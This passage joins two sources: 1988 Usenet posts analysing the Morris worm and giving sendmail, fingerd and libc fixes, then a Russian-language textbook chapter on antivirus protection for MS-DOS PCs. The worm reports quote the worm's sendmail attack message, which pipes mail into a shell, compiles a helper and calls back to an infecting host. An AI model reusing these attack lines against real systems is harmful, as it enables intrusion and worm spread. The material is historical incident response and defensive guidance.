script assumes that your strings(1) command prints out the offsets
in decimal.

Script started on Thu Nov 3 02:08:14 1988
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
0096972 debug
okeeffe:tmp {3} adb -w /usr/lib/sendmail
?m 0 0xffffffff 0
0t10$d
radix=10 base ten
96972?s
96972:debug
96972?w 0
96972:25701 = 0
okeeffe:tmp {4} ^D

script done on Thu Nov 3 02:09:31 1988

If your strings(1) command prints out the offsets in octal, change
the
line «0t10$d» to «0t8$d».

After you’ve fixed sendmail, move both /bin/cc and /bin/ld to
something
else. (The virus uses the cc and the ld commands to rebuild itself
to
run on your system.)

Finally, kill any processes on your system that don’t belong
there. Suspicious ones have «(sh)» or «xNNNNNNN» where the N’s are
random digits, as the command name on the ps(1) output line.

One more thing, if you find files in /tmp or /usr/tmp that have
names like «xNNNNNN,l1.c», or «xNNNNNN,sun3.o», or
«xNNNNNNN,vax.o» where the N’s are random digits, you’ve been
infected.

——————————————————————
——-
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT

The patch from Keith Bostic in the last message is *not*
sufficient to halt the spread of the virus. We have discovered
from looking at the binaries that the virus also attempts to
spread itself via «rsh» commands to other machines. It looks
through a *lot* of files to find possible vectors to spread.

If you have a bunch of machines with hosts.equiv set or .rhosts
files, you should shut them *all* down at the same time after you
have fixed sendmail to prevent a further infestation. If you don’t
clear out the versions in memory, you won’t protect your other
machines.

The virus runs itself with the name «sh» and then overwrites argv,
so if a «ps ax» shows any processes named «(sh)» without a
controlling tty, you have a problem. Due to the use of other uids
from rsh, don’t make any conclusions if the uid is one of your
normal users.

Also, check your mailq (do a mailq command). If you see any
entries that pipe themselves through sed and sh, delete them from
the queue before
you restart your machines.

Non-internet sites do not need to worry about this virus (for
now!), but be aware that mail and news may not be flowing
everywhere for some time — many sites are disconnecting from the
Internet completely until the virus is contained.

——————————————————————
——-
From: Gene Spafford
Subject: Updated worm report
Date: Fri, 04 Nov 88 00:27:54 EST

This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself
to other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the
worm. The worm forks repeated copies of itself as it tries to
spread itself, and the load averages on the infected machines
skyrocketed. In fact, it got to the point that some of the
machines ran out of swap space and kernel table entries,
preventing login to even see what was going on!

The worm seems to consist of two parts. The way that it works is
as follows:

1) Virus running on an infected machine opens a TCP connection to
a victim machine’s sendmail, invokes debug mode, and submits a
version of itself as a mail message.

*OR* it uses rsh to create itself on the remote machine through an
account requiring no password (due to hosts.equiv or .rhosts
entries).
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on
this later).

Using the sendmail route, it does something like:
From: /dev/null
To: «|sed -e 1,/^$/d | sh; exit 0″

cd /usr/tmp
cat > x14481910.c <<'EOF'
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;
rm -f x14481910 x14481910.c

2) This program is a simple "listener" or "helper" program of
about a hundred lines of fairly simple code. As you can see, the
helper is invoked with arguments pointing back at the infecting
worm (givinghostid/socket /checksum(?) as arguments).

3) The helper then connects to the "server" and copies a number of
files (presumably to /tmp). After the files are copied, it exec's
a shell with standard input coming from the infecting worm program
on the other end
of the socket.

From here, I speculate on what happens since I can't find the
source to this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the
files copied over to the target machine. The command file it uses
is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$

5) This creates and dispatches the new worm. This worm opens all
the worm source files, then unlinks the files so they can't be
found (since it has them open, however, it can still access the
contents). Next, the worm steps through the hosts file (on the
Sun, it uses YP to step through the distributed hosts file) trying
to connect to other machines' sendmail. If a connection succeeds,
it forks a child process to infect it, while the parent continues
to attempt infection of other machines.

6) The child requests and initializes a new socket, then builds
and invokes a listener with the new socket number and hostid as
arguments (#1, above).

Other notes:

The worm runs in stages. It first collects info from the
/etc/hosts files, the hosts.equiv file, and other files containing
host names and host IP addresses. It even runs netstat to find out
what networks the machine is attached to! It uses this information
to attempt to penetrate sendmail on those machines. It also knows
how to penetrate "fingerd" on Vaxen (on Suns, the attempt results
in a core dump). I will privately tell individuals how to fix the
bug in fingerd, but for now change it so it does not run as
"root".

After this first stage, it appears to sleep for a while. Then it
starts collecting user names and it begins probing with "rsh". It
also tries to
attack the passwords by trying a set of built-in words, the
contents of /usr/dict, and words snarfed from system files. If it
succeeds in breaking a local password, it forks a child to use
telnet to break into that account and copy itself.

As I write this, no one seems to know what it is supposed to
eventually do. Perhaps it just breaks in everywhere it can. We do
know that if it doesn't break into any accounts or systems for a
while, it enters a mode where it tries to break the root password
via brute force searching. We suspect that if it succeeds it then
does very nasty things.

Other notes:

The program corrupts its argument vector, so it appears in a "ps
ax" as
"(sh)" (a login shell). Don't trust any of these if you have them
running.

The program doesn't copy around source files (except the helper) -
- it copies around pre-compiled binaries that are linked on the
local machine and then run. The worm appears to only be carrying
binaries for 68020-based Suns and Vax 7xx and 8800 machines.
Pyramids, Sun 2's and Sequents are all definitely immune. (Note:
an infected 8800 is an awesome engine of contagion.)

The strings in the binaries are encrypted against a random
"strings"
invocation. If you have a binary, Keith Bostic informs me that Xor
with 0x81 will reveal interesting things, although that is not the
only mask used.

The first observation of the virus I have heard about was 6pm
Wednesday night in Pittsburgh. It didn't hit Purdue until about 4
this morning. We
were lucky in that other sites, like CMU and Princeton, were hit
around
11 last night.

Acknowledgements: Some of the above information was obtained from
Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue),
Dan Trinkle
(Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).
Thanks, guys.

------------------------------------------------------------------
-------
From: Gene Spafford
Subject: A worm «condom»
Date: Thu, 03 Nov 88 21:20:10 EST

… Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with
a «condom» to protect your machine against the CURRENT worm. They
are not
100% sure it works, but it seems to be completely effective and it
can’t
do any harm. As ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit your rc.local file to recreate the directory in case of
a reboot. This will not stop a current infection, but it will
prevent any new ones from taking hold — it prevents the worm from
creating replicas.

… —spaf

——————————————————————
——-
From: Gene Spafford
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST

FLASH!!

Kevin («Adb’s your friend.») Braunsdorf just burst into my office
with a cure discovered in the disassembled worm binary.

If there is an external variable in the library named «pleasequit»
that is non-zero, the worm will die immediately after exiting.
Thus, to kill any new worms, include a patch in your library that
defines the symbol. The following shell file and source code will
modify your C library to define this symbol.

It WON’T kill any currently linked and running versions, but it
will prevent reinfection.

# Shar archive. Give the following as
# input to /bin/sh
# Packed Thu Nov 3 21:56:35 EST 1988
# by spaf@uther.cs.purdue.edu
#
# This archive contains:
# foo.sh
# foo.c
#
#
echo x — foo.sh
sed ‘s/^X//’ >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit

9.3. Вирусы в локальных сетях

Проблемы, связанные с локальными сетями, во многом зависят от
типа используемой сети. Так, например, в некоторых дешевых
локальных сетях дисковод сетевого сервера доступен как обычный
диск. Это означает, что обычный файловый вирус, попав на диск
центрального сервера будет распространяться по всей сети как будто
по обычной файловой системе отдельного персонального компьютера.
В более дорогих системах имеется некоторая степень
регламентирования доступа, обычно аналогичная той, которая
используется в многозадачных системах на больших ЭВМ. В этих
системах особую опасность представляет так называемый
"суперпользователь", т.е. пользователь имеющий наивыший уровень
доступа ко всем системным ресурсам. Небрежное отношение к паролям
таких пользователей или злоупотребление работой с самым высоким
статусом доступа существенно облегчает попадание и быстрое
распространение по сети файловых вирусов, поскольку фактически
отключает имеющиес защитные механизмы.

9.3.1. Вирус 1260

Данный вирус является сильно модифицированным вариантом вируса
С-648 и способен распространяться по сети Novell. Хотя вирус не
является резидентным, он распространяется достаточно быстро Длина
зараженные файлов увеличиваются на 1260, причем при заражении они
шифруются ключем, меняющимся от файла к файлу. Отличительной
особенностью вируса является его способность заражать локальные
сети.
Исторические замечания. Вирус был обнаружен в Миннесоте(США) в
январе 1990 г.
Методы и средства защиты. Детектируется полидетектором SCAN.

10. ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ
ЗАЩИТЫ ОТ ВИРУСОВ

"Предусмотрительность и осторож-
ность одинаково важны: предус-
мотрительность - чтобы вовремя
заметить трудности, а осторож-
ность - чтобы самым тщательным
образом подготовиться к их
встрече"
Р.Амунденсен

Проблема "вирус - средства защиты" аналогична проблеме "оружие
нападения - оружие защиты": появление средств защиты стимулирует
разработку более совершенных средств нападения. Поэтому следует
ожидать, что и компьютерные вирусы надолго останутся актуальной
проблемой, причем совершенствование средств защиты будет сопровож-
даться и совершенствованием самих вирусов. Эта ситуация в какой-то
мере напоминает естественный отбор, в ходе которого, как известно,
выживают наиболее приспособленные.

10.1. Классификация cредств защиты от вирусов

Время, когда можно было работать на машине и не задумываться над
тем, что завтра ваших программ и файлов на диске не окажется, про-
шло навсегда. Впрочем, для отечественных программистов оно никогда
и не наступало, поскольку надежность магнитных носителей и устрой-
ств, использовавшихся в нашей стране, всегда оставляла желать луч-
шего. Поэтому сейчас в арсенал каждого пользователя должен войти
необходимый минимум средств защиты. Методика их применения будет
рассмотрена несколько позднее. Введем необходимые термины и приве-
дем их краткую классификацию:
архивирование: копирование таблицы FAT, ежедневное ведение архи-
вов измененных файлов. Это самый важный, основной метод защиты от
вирусов. Остальные методы не могут заменить ежедневное архивирова-
ние, хотя и повышают общий уровень защиты;
входной контроль: проверка поступающих программ детекторами,
проверка соответствия длины и контрольных сумм в сертификате дли-
нам и контрольным суммам полученных программ; систематическое об-
нуление первых трех байтов сектора начальной загрузки на получен-
ных незагружаемых дискетах (для уничтожения бутовых вирусов);
профилактика: работа с дискетами, защищенными от записи, миними-
зация периодов доступности дискеты для записи, разделение "общих"
дискет между конкретными пользователями и разделение передаваемых
и поступающих дискет, раздельное хранение вновь полученных про-
грамм и эксплуатировавшихся ранее, хранение программ на "винчесте-
ре" в архивированном виде;
ревизия: анализ вновь полученных программ специальными средства-
ми, контроль целостности с помощью регулярного подсчета контроль-
ных сумм и проверки сектора начальной загрузки перед считыванием
информации или загрузкой с дискеты, контроль содержимого системных
файлов (прежде всего, СOMMAND.COM) и др. Имеется целый ряд про-
грамм-ревизоров, обеспечивающих подсчет контрольных сумм (см.
прил.5);
карантин: каждая новая программа, полученная без контрольных
сумм, должна проходить карантин, т.е. тщательно проверяться компе-
тентными специалистами на известные виды компьютерных вирусов, и в
течение определенного времени за ней должно быть организовано на-
блюдение. Использование специального имени пользователя в ADM
(Advanced Disk Manager) при работе со вновь поступившими програм-
мами, причем для этого пользователя все остальные разделы должны
быть либо невидимы, либо иметь статус READ_ONLY;
сегментация: использование ADM для разбиения диска на "непотоп-
ляемые отсеки" -- зоны с установленным атрибутом READ ONLY. Ис-
пользование для хранения ценной информации разделов, отличных от C
или D, и не указываемых в PATH. Раздельное хранение исполняемых
программ и баз данных;
фильтрация: применение программ-сторожей для обнаружения попыток
выполнить несанкционированные действия;
вакцинирование: специальная обработка файлов, дисков, каталогов,
запуск резидентных программ-вакцин, имитирующих сочетание условий,
которые используются данным типом вируса для определения, заражена
уже программа, диск, компьютер или нет, т.е. обманывающих вирус;
автоконтроль целостности: применение резидентных программ под-
счета контрольных сумм перед запуском программ, использование в
программе специальных алгоритмов, позволяющих после запуска про-
граммы определить, были внесены изменения в файл, из которого за-
гружена программа, или нет;
терапия: дезактивация конкретного вируса в зараженных программах
специальной программой-антибиотиком или восстановление первона-
чального состояния программ путем "выкусывания" всех экземпляров
вируса из каждого зараженного файла или диска с помощью программы-
фага.
Как видно из приведенного выше материала, имеется несколько ти-
пов программных средств защиты от вирусов. Если попытаться наме-
тить иерархию этих средств по их вкладу в безопасность, то пред-
ставляется, что на первом месте идут программы-архиваторы.

10.2. Основная технологическая схема защиты

"Volenum ducunt fata,
nolenum trahunt"
(Желающего судьба ведет,
не желающего тащит)
Латинская пословица

Проблему защиты от вирусов целесообразно рассматривать в общем
контексте проблемы защиты информации от несанкционированного дос-
тупа. По данной проблеме опубликован ряд монографий, среди которых
следует рекомендовать учебник Л.Д.Хофмана [ ] и монографию Сяо,
Керр и Медника [ ]. Основной принцип, который должен быть положен
в основу разработки технологии защиты от вирусов, состоит в созда-
нии многоуровневой распределенной системы защиты, включающей как
регламентацию операций на ЭВМ, так и специальные программные и ап-
паратные средства. При этом обязательно должно существовать не-
сколько уровней защиты, причем их количество может варьироваться в
зависимости от ценности информации, которая обрабатывается на кон-
кретной ЭВM.
Как и в большинстве других случаев организации защиты, важным
преимуществом многоуровневой защиты является то, что наличие не-
скольких уровней позволяет компенсировать недостатки, присущие то-
му или иному отдельному средству защиты. Если вирус обойдет один
вид защиты, то он может "споткнуться" на другом. Автор рекомендует
схему, включающую следующие этапы:
входной контроль новых программных средств;
сегментацию информации на винчестере;
защиту MS DOS и системных программ от заражения;
систематическое использование резидентных программ и ревизоров
для контроля целостности информации;
архивирование.

10.2.1. Организация входного контроля нового программного
обеспечения

Первым и весьма важным уровнем защиты является входной контроль
поступающих программ и дискет. Подобно тому, как первые захваты
авиалайнеров изменили отношение к проблемам досмотра пассажиров,
случаи заражения вирусами должны изменить отношение к входному
контролю программ и дискет, который, к сожалению, часто еще рас-
сматривается как необязательный. Следует отдавать себе отчет, что
фактически мы столкнулись с еще одной разновидностью терроризма, и
борьба с ним требует перехода к сплошному входному контролю посту-
пающих программ и дискет. При этом "фирменные" дискеты не должны
составлять исключение, так как имелись случаи поставки зараженных
программ на дистрибутивных дискетах. Конечно, вероятность послед-
него случая существенно меньше, чем при обычном переписывании.
Большинство известных файловых и бутовых вирусов можно выявить
уже на этапе входного контроля. Эта процедура отнимает всего лишь
несколько минут, сохраняя десятки часов, потраченных затем на дез-
инфекцию или восстановление уничтоженной информации. Для этой цели
целесообразно использовать специально подобранную батарею детекто-
ров и фагов. Можно рекомендовать следующий состав такой батареи
(приведенные ниже фаги следует использовать в режиме детектирова-
ния): SCAN, TNTVIRUS, Kxx, -V, AIDSTEST, AV, Doctor.
Указанную батарею можно запускать как с помощью обычного BAT-
файла, так и с помощью оболочки типа антивирус-интегратора (напри-
мер, AVTP). В случае обнаружения вирусов полезно отпечатать и со-
хранить протокол проведенного контроля. При интерпретации резуль-
татов следует учитывать возможность ложного срабатывания одного из
детекторов.

10.2.1.1. Понятия достоверной дистрибутивной копии
и сертификата
Развитие методов маскировки вирусов делает необходимым понятие
достоверной дистрибутивной копии. Здесь возникает определенная
проблема, в случае если распространяемое программное обеспечение
относится к классу FREEWARE. Главным критерием достоверности ди-
стрибутивной копии является соответствие длины, даты и контрольной
суммы файла значениям, приведенным в протоколе архивирования раз-
работчика, если конечно, таковой имеется, или в протоколе, полу-
ченном с "только-что распечатанной" дистрибутивной версии. Следует
подчеркнуть важность эталонного протокола, как своего рода серти-
фиката подлинности передаваемого программного обеспечения.
Если программное обеспечение получено с сертификатом, то сразу
после его получения рекомендуется снять справку с архива и срав-
нить с сертификатом.

10.2.1.2. Контроль текстовых строк,
содержащихся в файле
Полезно просмотреть ASCII-строки, имеющиеся в полученных про-
граммах, используя LABTEST, RED, EDMSG или другую подходящую ути-
литу. Очень важно убедиться, что полученное Вами программное обе-
спечение не содержит "подозрительных" текстовых строк типа
"COMMAND.COM", "PATH=", "*.COM", "????????COM", "Kill", "Stoned",
"Virus", "Stupid", и т.д. (см. прил.1-4). Поскольку большинство
разработчиков вирусов, по-видимому, страдают "комплексом неполно-
ценности", разработка вируса для них является патологическим спо-
собом самоутверждения. Поэтому им трудно удержаться от включения в
текст сообщений подобного рода. В то же время многие вирусы шиф-
руют содержащиеся в них строки и они становятся видны только при
трассировке программы. Однако отрицательный результат - тоже ре-
зультат и, если при визуальном просмотре в последних 2-3К дампа
нет ни одной текстовой строки, то это тоже должно настораживать.
Если это является результатом упаковки EXE-файлов специальным упа-
ковщиком, распаковывающим файл в оперативной памяти перед выполне-
нием (LZEXE, EXEPACK и др.), то необходимо предварительно распако-
вать файл для анализа.

10.2.1.3. Использование отладчиков и дизассемблеров
Подозрительные файлы целесообразно просмотреть с помощью отлад-
чика, позволяющего отслеживать выдаваемые программой прерывания
(Periscope, Quard Analizer). Методика их использования будет рас-
смотрена во второй части данной работы. В cлучае выявления "подо-
зрительных" последовательностей прерываний соответствующие участки
программы следует дизассемблировать и пройти в пошаговом режиме.

10.2.2. Карантинный режим

"Все, что хорошо начина-
ется, кончается плохо,
Все что начинается пло-
хо, кончается еще хуже"
Из законов Мерфи

В случае, когда программное обеспечение получено без сертифика-
та, из сомнительного источника или не эксплуатировалось в том мес-
те, откуда оно было передано, первые несколько дней эксплуатацию
полученного программного обеспечения полезно выполнять в карантин-
ном режиме. В этом режиме целесообразно использовать искусственно
ускоренный календарь, т.е. задавать при каждом следующем экспери-
менте новый месяц и день недели. Это повышает вероятность обнару-
жения троянской компоненты, срабатывающей в определенный месяц или
после истечения определенного календарного отрезка времени.
Вообще говоря, лучше всего иметь специально выделенный "каран-
тинный" компьютер для подобного рода экспериментов. В этом компь-
ютере все программное обеспечение полезно обработать, дописав в
конец каждого файла специальную строку, например вида "***OK***".
Дописывание таких концевых маркеров можно выполнить автоматически,
составив пакетный файл. Их наличие облегчает последующий анализ
программ, поскольку граница между вирусом, "севшим" в конец про-
граммы, и файлом становится четко определенной. Конечно, это не
исключает необходимости использования "джентльменского" набора ан-
тивирусных средств, включающего подходящий ревизор, сторож и само-
контролирующиеся программы-приманки. Резидентные сторожа следует
использовать лишь периодически, поскольку вирус может распознавать
присутствие таких средств и соответствующим образом менять свое
поведение (на "карантинном" компьютере стоит задача обнаружить мо-
мент заражения, а не препятствовать размножению вируса).
Если выделить карантинный компьютер не представляется возможным,
то целесообразно создать "карантинный режим" на одном из компьюте-
ров, не содержащем особо ценных файлов или баз данных. Вход в ка-
рантинный режим должен выполняться с помощью специального имени
пользователя, которому для записи доступен лишь логический диск, и
специальный "карантинный" раздел винчестера, а большинство осталь-
ных скрыто, либо имеют статус READ_ONLY. При этом для всех компо-
нент операционной системы и некоторых утилит, используемых как
"приманка" для вируса, следует записать в соответствующий файл
контрольные суммы, вычисленные подходящим ревизором (при его от-
сутствии для этой цели можно использовать любой архиватор, напри-
мер, PKZIP).
Для компьютеров типа PC XT, имеющих меньше 1M оперативной памя-
ти, рекомендуется организовать из части памяти достаточно большой
электронный диск (скажем 250К), записать на него несколько часто
используемых системных утилит и "погонять" эти утилиты. Возможно
вирус "клюнет" и заразит одну из этих программ - в этом случае ре-
визор обнаружит несовпадение контрольных сумм и сообщит о факте
заражения. Преимущество использования электронного диска для таких
экспериментов связано с тем, что его содержимое автоматически
уничтожается при перезагрузке или выключении питания. Это обеспе-
чивает дополнительную гарантию, что из-за невнимательности или
случайного стечения обстоятельств какая-нибудь зараженная в про-
цессе экспериментов программа не останется на диске и затем не
станет использоваться кем-нибудь другим.

10.2.2.1. Троянские компоненты в незаконно распространяемых копиях
программ и программах со "сломанной" защитой
"Ах бедность, бедность,
как унижает она сердце нам"
А.С.Пушкин

Известны случаи, когда в состав незаконной копии включались тро-
янские программы. Например, одна из программ на распространявшейся
в Донецке дискете с незаконной копией игры FORMULA, выполняла пе-
риодическое стирание CMOS-памяти. Следует отметить, что наряду с
незаконно распространяемыми игровыми программами, которые часто
бывают заражены вирусами, определенную опасность представляют про-
граммы со "сломанной" защитой, поскольку возможны случаи, когда
снятие защиты ведет к активации троянской компоненты, заложенной в
программе. При этом Вы можете не подозревать, что эксплуатируемая
программа является коммерческой, поскольку соответствующие сообще-
ния при снятии защиты часто меняются или исключаются, а сама про-
грамма может быть переименована. Автору известны случаи, когда
разработчики отечественных коммерческих систем защиты программ от
копирования предлагали потенциальным пользователям предусмотреть
действия, вызывающие разрушение информации при запуске защищенной
программы "не на том" компьютере. Остается надеяться, что на это
предложение никто из разработчиков не клюнул.

10.2.2.2. Троянские компоненты в антивирусных программах
Известно несколько случаев распространения вируса с помощью тро-
янской версии антивирусной программы.

10.2.2.3. После покупки компьютера
проверяйте содержимое винчестера
"Опыт растет прямо пропорционально
выведенному из строя оборудованию"
Из законов Мерфи

Все программное обеспечение, содержащееся на винчестере только
что купленной ЭВМ, целесообразно рассматривать как новое. Поэтому
при получении новой машины, если вы не собираетесь переформатиро-
вать винчестер, прежде всего протестируйте винчестер и все полу-
ченные дискеты на наличие вирусов. Кооперативы, перепродающие
ПЭВМ, зарекомендовали себя одними из главных распространителей ви-
русов. Это связано с тем, что перед продажей компьютер часто ис-
пользуется как игровой автомат. Многие пользователи сообщали, что
практически все программы на винчестере были заражены одним или,
чаще, несколькими различными типами вирусов. При тестировании та-
кого винчестера не забудьте загрузиться с заведомо чистой дискеты
с операционной системой. Если у вас еще нет опыта работы с персо-
нальными компьютерами, желательно пригласить специалистов со сто-
роны. Получая болгарское программное обеспечение, будьте внима-
тельны и осторожны: возможно некоторые программы заражены новыми
типами вирусов.

10.2.3. Сегментация информации на винчестере

Второй уровень защиты может быть основан на сегментации винчес-
тера с помощью специального драйвера, обеспечивающего присвоение
отдельным логическим дискам (разделам винчестера) атрибута READ
ONLY, а также простейшую схему парольного доступа. При этом в "не-
потопляемые отсеки" (разделы с установленным атрибутом READ ONLY)
можно записать значительную часть исполняемых программ, включая
большинство трансляторов и утилит. В качестве такого драйвера мож-

но применять различные программы. Автор рекомендует использовать
Advanced Disk Manager, который не только позволяет разбить диск на
разделы, но и организовать доступ к ним с помощью паролей. Кроме
того, уровень обеспечиваемой им защиты от записи выше, чем других
распространенных драйверов.
Количество используемых разделов и их содержимое зависят от ре-
шаемых задач и объема винчестера. Для 20M винчестера можно исполь-
зовать три-четыре раздела. При этом на логическом диске С, с кото-
рого выполняется загрузка, следует оставить лишь минимальное коли-
чество файлов (AUTOEXEC. BAT, COMMAND.COM, CONFIG.SYS, скрытые
системные файлы и программы-ловушки, контролирующие свою контроль-
ную сумму). Остальную часть винчестера следует разбить на зону
трансляторов и системных утилит (также со статусом READ ONLY) и
несколько разделов для отдельных пользователей (групп пользовате-
лей) с соответствующими ограничениями доступа. При этом для мини-
мизации движения головок разделы пользователей можно расположить
между разделом С (MS DOS) и разделом с трансляторами и утилитами.

10.2.4. Защита операционной системы от заражения

"Если какая-нибудь неприятность
может случиться, она случается"
Из законов Мерфи

Важным профилактическим средством в борьбе с файловыми вирусами
является "затруднение им жизни" путем исключения значительной ча-
сти загрузочных модулей из сферы их досягаемости. Этот метод, на-
зываемый сегментацией, был кратко рассмотрен в предыдущем разделе.
Однако применительно к самой операционной системе сегментация на-
столько важна, что на ней стоит остановиться отдельно. При пра-
вильном размещении операционной системы и ряда утилит можно гаран-
тировать, что после начальной загрузки операционной системы она
еще не заражена резидентным файловым вирусом. Это создает настоль-
ко значительные удобства и преимущества, что для достижения этой
цели стоит потратить время и силы на перекомпоновку винчестера,
если это еще вами не сделано. Первой задачей, которую нужно выпол-
нить при "вирусобезопасной" постановке операционной системы - это
разместить ее в защищенном от записи разделе (например, разделе
D).
Следует отметить, что логический диск с операционной системой не
должен быть слишком большим. Туда следует включать только саму
операционную систему и некоторые "стабильные" утилиты (Norton
Utilities, PC SHELL и т.д.). Вопрос о включении модулей транслято-
ров зависит от вашей склонности часто переходить от версии к вер-
сии и источников получения новых версий: общий принцип состоит в
том, чтобы скомпоновать этот диск так, чтобы необходимость входить
в систему с паролем, обеспечивающем возможность записи на этот
диск, возникала как можно реже. Кроме того, новые полученные ути-
литы нельзя включать в состав этого диска без предварительной тща-
тельной проверки и прохождения "карантинного" режима хотя бы в те-
чении месяца. Не стоит впадать из одной крайности в другую и стре-
миться "защитить все подряд" - это существенно затрудняет работу и
в большинстве случаев сводит на нет защиту из-за частой работы в
"открытом" режиме. Оптимальное количество исполняемых файлов, за-
щищенных от записи, вряд ли должно превышать 20-30% от общего ко-
личества файлов. В качестве критериев можно использовать целесооб-
разность подключения соответствующего каталога к PATH, а также
степень стабильности данного программного продукта.
При обычном размещении системных программ и утилит на диске C,
помимо командного процессора, одними из первых обычно заражаются
файлы, входящие в AUTOEXEC.BAT. Поэтому их тоже следует размещать
в разделе винчестера, имеющего статус READ ONLY. Иногда вирусы за-
ражают файлы IBMBIO и IBMCOM. Хотя обычно при этом операционная
система теряет работоспособность, здесь есть нюанс, состоящий в
том, что не рекомендуется (а с помощью DM и нельзя) присваивать
диску С статус READ ONLY. Поэтому эти файлы остаются незащенными,
и в качестве первой операции AUTOEXEC.BAT следует предусматривать
подсчет их контрольной суммы. Это можно сделать с помощью ревизо-
ра или специализированной программы (например, VACINE, см. СП 1-2)
или, наконец, обычной программы сравнения файлов, входящей в MS
DOS (COMP или FC). В последнем случае копии следует разместить в
защищенном от записи разделе. При использовании сторожа FluShot
Plus следует обязательно вставить контрольные суммы для указанных
файлов в соответствующий файл.

10.2.4.1. Стратегия защиты командного процессора
Поскольку командный процессор является излюбленной мишенью для
атаки файловых вирусов, то нужно одновременно оставить его в каче-
стве "мишени" и в то же время не допустить использования заражен-
ного командного процессора при перезагрузке системы. Очевидно, что
эти требования выглядят как взаимоисключающие. Однако им можно
удовлетворить, если "оригинал" командного процессора разместить на
защищенном от записи диске, а после начальной загрузки скопировать
его на виртуальный диск и установить соответствующее значение пе-
ременной COMSPEC. Для того, чтобы командный процессор в процессе
начальной загрузки считывался из защищенного раздела в CONFIG.SYS,
следует включить строку вида:

SHELL = D:\DOS\COMMAND.COM
SHELL = D:\4DOS\4DOS.COM @C:\4DOS.DAT

Последняя строка предполагает использование "альтернативного"
командного процессора 4DOS (читается - FOREDOS). Этот командный
процессор особенно удобен для пользователей, работающих на PC AT
или PS/2, и автор рекомендует индивидуализировать операционную
систему путем его использования вместо стандартного COMMAND.COM
(как известно, имеется по меньшей мере один вирус † Lehigh, ори-
ентированный на заражение именно стандартного COMMAND.COM). Коман-
дный процессор 4DOS (автор использует версию 3.0 от 7.03.90) раз-
работан американской фирмой J.P. Software (P.O. Box 1470,
E.Arlington, MA 02174 USA, (617) 646-3975) и распространяется как
Shareware. Он более удобен в работе, поскольку имеет диалоговый
HELP по всем командам MS DOS и существенно расширенный командный
язык, значительно облегчающий программирование BAT-файлов. Кстати,
диалоговый HELP от 4DOS можно использовать и со стандартным коман-
дным процессором. Как и COMMAND.COM, командный процессор 4DOS.COM
сегментирован и состоит из небольшой резидентной части 4DOS.COM,
размером около 11К (в памяти остается всего 2.5K - меньше, чем у
резидентной части COMMAND.COM) и оверлея 4DOS.EXE или 4DOS286.EXE,
размером около 64К. Шансы, что специализированному вирусу удастся
заразить этот командный процессор тем же методом, что и стандарт-
ный COMMAND.COM, сравнительно невелики.
Вторым шагом является запись командного процессора на виртуаль-
ный диск и переназначение переменной COMSPEC. Для стандартного
COMMAND.COM это выполняется путем включения в качестве первых
строк AUTOEXEC.BAT двух следующих строк:

set comspec=e:\command.com
copy command.com e:

В приведенных строках предполагается, что логический диск E яв-
ляется виртуальным. Использование виртуального диска для хранения
командного процессора (в сочетании с заданием соответствующего
значения параметра COMSPEC) не только превращает его в своего рода
дрозофилу, заражение которой легко контролировать, а удаление ко-
торой с диска обеспечивается автоматически при перезагрузке MS
DOS, но и ускоряет работу с некоторыми оболочками (например,
Norton Commander). При этом целесообразно иметь специальную коман-
ду для периодического контролирования сравнения COMMAND.COM с эта-
лоном (автор использует для этой цели специальную клавишу в поль-
зовательском меню Norton Commander, вызываемом нажатием функцио-
нальной клавиши F2). В этом случае, если Вы во-время заметили из-
менение командного процессора, то не требуется выполнять его до-
полнительное удаление и замену - при перегрузке с эталонной дис-
кеты он будет удален автоматически и вы сможете начать поиск при-
чины заражения на заведомо "чистой" операционной системе.

10.2.4.2. Использование каталога BAT-файлов
Связывание длинной цепочки каталогов по PATH, создает очевидные
удобства при работе. В то же время такое решение имеет и два суще-
ственных недостатка. Во-первых, замедляется поиск запускаемой про-
граммы, а во-вторых, наличие соответствующей строки PATH создает
файловым вирусам идеальные условия для поиска исполняемых файлов.
Поэтому рекомендуется компромиссное решение: указывать в PATH
только каталоги, расположенные на защищенных от записи логических
дисках, а также корневой каталог и один дополнительный каталог с
BAT-файлами. В последний удобно занести файлы, указывающие путь
для исполняемой программы, расположенной на незащищенных от записи
логических дисках. При этом для каждой часто используемой програм-
мы удобно составить отдельный BAT-файл, в котором обычно удается
предусмотреть некоторые дополнительные удобства в виде установки
каких-то типовых режимов, сокращенного набора групп параметров и
другой сервис, уровень которого зависит от вашей собственной изо-
бретательности. Это существенно упрощает и ускоряет процесс рабо-
ты, поскольку типовые параметры набирать не приходится, время на
просмотр длинной цепочки каталогов при поиске программы не теряет-
ся. В то же время, такое решение повышает безопасность, не давая
вирусам легко и просто извлекать путь к жертвам из PATH. Автор
много лет проработал на ЕС ЭВМ, где использование библиотеки про-
цедур (SYS1.PROCLIB) было стандартной практикой, и был удивлен,
перейдя на персональные ЭВМ, что здесь этот прием не является
стандартным.

10.3. Архивирование

"Инженер присел и отвернул кран,
чтобы смыть мыло. Кран захлебнулся
и стал медленно говорить что-то
неразборчивое. Вода не шла..."
И.Ильф, Е.Петров

Пользователь компьютера, не имеющий "свежего" и надежного архива
содержимого своего винчестера, находится во власти случая. Этот
случай может подвернуться в виде срабатывания вируса, троянской
программы или в виде внезапного отключения электроэнергии или, на-
